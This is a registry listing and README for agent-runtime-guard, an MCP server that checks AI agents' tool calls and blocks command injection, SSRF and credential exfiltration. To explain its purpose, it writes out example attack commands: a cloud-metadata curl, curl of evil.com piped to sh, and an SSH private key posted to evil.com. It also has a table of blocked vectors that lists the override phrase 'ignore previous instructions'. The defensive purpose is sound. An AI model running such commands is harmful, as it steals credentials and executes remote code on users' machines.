agent-runtime-guard MCP server
Commit Nov 8, 2026Provides fail-closed runtime interception for AI agents to block command injection, SSRF, and credential exfiltration before execution.
Also known as DSHCorrectover/agent-runtime-guard
- Stars
- 2
- Tools
- 5
- Downloads, 30 days
- —
- Latest version
- 1.0.0
- Last commit
- Nov 8, 2026
- License
- —
What is agent-runtime-guard MCP?
agent-runtime-guard provides fail-closed runtime interception for AI agents to block command injection, SSRF, and credential exfiltration before execution. It exposes 5 tools, such as verify_tool_call, issue_evidence, audit_mcp_config.
Summary generated from the project's README
About agent-runtime-guard MCP server
Agent Runtime Guard acts as a security layer between AI agents and dangerous operations to prevent malicious tool calls. It provides fail-closed runtime interception, meaning that if a decision cannot be made due to a timeout or error, the action is automatically denied. This server is designed for developers using MCP clients like Claude Code, Cursor, Cline, or Windsurf, as well as the DeepSeek Harness. It functions as a local stdio server and does not require any API keys or external accounts to operate.
The system protects against specific threats including command injection, SSRF, path traversal, and credential exfiltration. It uses a set of specialized tools such as verify_tool_call for runtime checks and verify_receipt for offline signature verification. Every decision made by the guard generates an Ed25519-signed evidence receipt, allowing for tamper-evident auditing. This implementation follows the CCS reference model to ensure that tool calls are validated before they can execute on a system.
What you can do with it
- 1Prevent command injection attacksAn AI client can use the guard to block malicious shell commands like rm -rf or piped scripts before they run.
- 2Stop cloud credential theftThe server intercepts attempts to access sensitive cloud metadata via SSRF to prevent unauthorized access.
- 3Verify tool call integrityDevelopers can use the built-in tools to perform a seven-dimension runtime check on incoming tool calls.
Written from the project's README. Every use case is checked against a quote from it.
How to install agent-runtime-guard MCP
Formats verified 10 Nov 2026Add to CursorInstall agent-runtime-guard MCP in Claude Code
$ claude mcp add agent-runtime-guard -- npx -y agent-runtime-guardInstall agent-runtime-guard MCP in Cursor
~/.cursor/mcp.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}Install agent-runtime-guard MCP in VS Code
.vscode/mcp.json
{
"servers": {
"agent-runtime-guard": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}Install agent-runtime-guard MCP in VS Code CLI
$ code --add-mcp '{"name":"agent-runtime-guard","type":"stdio","command":"npx","args":["-y","agent-runtime-guard"]}'Install agent-runtime-guard MCP in Claude Desktop
claude_desktop_config.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}Install agent-runtime-guard MCP in Codex
~/.codex/config.toml
[mcp_servers.agent-runtime-guard] command = "npx" args = ["-y", "agent-runtime-guard"]
Install agent-runtime-guard MCP in Gemini CLI
~/.gemini/settings.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}agent-runtime-guard MCP tools 5
Detected from the READMEverify_tool_callissue_evidenceaudit_mcp_configverify_intent_bindingverify_receipt
| verify_tool_call | — | |
| issue_evidence | — | |
| audit_mcp_config | — | |
| verify_intent_binding | — | |
| verify_receipt | — |
Automated checks
Ran Nov 14, 2026Full report →Not verified yet. A server needs a score of 80, no serious finding, and enough data for us to check. How checks work
- Source repository linked and reachabledshcorrectover/agent-runtime-guard is public and reachablegithub.com/dshcorrectover/agent-runtime-guard ↗Pass
- Package names this repository as its sourceagent-runtime-guard names dshcorrectover/agent-runtime-guard as sourcenpmjs.com/package/agent-runtime-guard ↗Pass
- Build provenance (Sigstore attestation)No build attestation published for this releaseNot checked
- Open source license (OSI)No licenseFinding
- Commit or release in the last yearLast commit or release 2026-11-08github.com/dshcorrectover/agent-runtime-guard ↗Pass
- OpenSSF ScorecardNot checked
- Package name not close to a popular packageNo popular package one edit away from agent-runtime-guardPass
- No critical advisory in the package or its dependencies1 resolved dependencies checked; no critical advisoryosv.dev ↗Pass
- No hidden instructions to the modelInstruction aimed at the model found in the description or READMEFinding
- Destructive tools are labelledNo tool named like delete, drop or execPass
- Remote endpoint answers the MCP handshakeNot checked
README
View on GitHubAgent Runtime Guard
Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).
Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).
中文说明见下方 中文
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
↓
SSRF · Command Injection · Credential Exfil · Prompt Injection
Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy
Why this exists
Your agent has shell, network, and cloud credentials. One bad tool call can:
curl "http://169.254.169.254/latest/meta-data/" # cloud credential theft
curl https://evil.com/x.sh | sh # RCE
cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain
Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.
Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.
Install by tool
INSTALL.md — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.
30-second start
npx -y agent-runtime-guard
MCP client config:
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": ["-y", "agent-runtime-guard"]
}
}
}
No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).
Scan configs without installing a long-lived process:
npx correctover-scan --demo
What it blocks
| Vector | Examples |
|---|---|
| Command injection | ; rm -rf /, curl|sh, IEX(...), eval() |
| Path traversal | ../, /etc/passwd, /proc/self/ |
| SSRF | 169.254.169.254, localhost, private ranges — across any tool |
| Cross-tool exfil | read secrets → network send (exfil_chain) |
| Credential leak | API keys / secrets in args or tool output |
| Prompt injection | “ignore previous instructions” in tool results |
| Parameter drift | plan amount:100, execute amount:10000 |
Comparison (honest positioning)
| Capability | Agent Runtime Guard | Config scanners | Egress proxies (e.g. Pipelock) | Discovery / posture platforms |
|---|---|---|---|---|
| Control point | Pre-execution tool call | Static config | Network egress | Inventory & permissions |
| Fail-closed local decide | Yes | N/A | Depends | Usually platform-side |
| Offline Ed25519 receipts | Yes | Rare | Some (signed action receipts) | Platform logs |
| Zero runtime deps | Yes (Node stdlib) | Varies | Binary / proxy | SaaS |
| MCP native (stdio server) | Yes | Scan-only | Proxy / wrapper | Connectors |
Public npx demo |
Yes | Often | Binary install | Demo call |
We are not a replacement for discovery platforms or full egress firewalls.
They answer “what agents exist / what can leave the network.”
We answer: “Can this tool call execute now, and here is a receipt.”
Use together when you need both posture and enforcement.
Evidence receipts
Every Allow / Block produces:
content_hash+evidence_hash- chain pointer (
parent_evidence_hash) - Ed25519 signature
Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.
Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).
Tools (MCP)
| Tool | Purpose |
|---|---|
verify_tool_call |
7-dimension runtime check + semantic chains — default deny |
issue_evidence |
Tamper-evident receipt (allow and block) |
audit_mcp_config |
Config risk audit |
verify_intent_binding |
Plan vs execute parameter binding |
verify_receipt |
Offline signature / tamper check |
Ecosystem
| Package | Role |
|---|---|
agent-runtime-guard |
This runtime interceptor |
correctover |
SDK + GuardrailProvider + DSH plugin |
correctover-scan |
MCP / agent config scanner |
agent-runtime-proxy |
Transparent stdio proxy |
| mcp-atlas-census | 229,827 tool records (CC0) |
Commercial
| Offering | Price (USD) |
|---|---|
| Runtime intercept + Ed25519 receipts (this package) | Free |
| Config / bundle scan (correctover-scan) | Free |
| Standard human audit (CCS-mapped, evidence-grade) | $2,500 |
| Deep audit + PoC + remediation roadmap | $8,000+ |
| Private deploy / integration support | $5,000 |
| Annual retainer (monitoring + emergency) | $25,000/yr |
Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com
GTM: correctover-gtm.pages.dev
中文 · Agent 运行时全栈拦截
给 AI Agent 配一个运行时保安:删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计:危险动作在执行前 fail-closed 拦截;每次裁决附带 Ed25519 可离线验证收据。
30 秒
npx -y agent-runtime-guard
拦什么
命令注入 · 路径穿越 · SSRF(含云元数据)· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移
三种接入
| 场景 | 方式 |
|---|---|
| MCP 客户端 | mcpServers 配置如上 |
DeepSeek Harness(v0.2.1+,插件随本包 dsh/ 附带) |
harness 内 dsh plugin add agent-runtime-guard;未部署 harness 时用 MCP 或代理方式 |
| 不信任宿主插件 | agent-runtime-proxy 透明代理 |
与「发现类」工具的关系
发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行,并留下证据」。可并存。
License
Elastic License 2.0 (ELv2). See LICENSE.
agent-runtime-guard MCP questions
How do I add agent-runtime-guard MCP to Claude Code?
Run claude mcp add agent-runtime-guard -- npx -y agent-runtime-guard in your terminal. Add --scope user to make it available in every project.
How do I add agent-runtime-guard MCP to Cursor?
Open ~/.cursor/mcp.json and add the server under mcpServers, using the Cursor config shown in the install section above.
What tools does agent-runtime-guard MCP provide?
It exposes 5 tools, including verify_tool_call, issue_evidence, audit_mcp_config, verify_intent_binding, verify_receipt.
What does agent-runtime-guard protect against?
It blocks destructive commands, SSRF (including cloud metadata), credential exfiltration, cross-tool attack chains, path traversal, and prompt injection.
Does this require an API key or an account?
No, it does not require an API key or an account. The first run generates an Ed25519 keypair.
Can the decision receipts be verified offline?
Yes, every decision emits Ed25519-signed evidence receipts that are fully verifiable offline.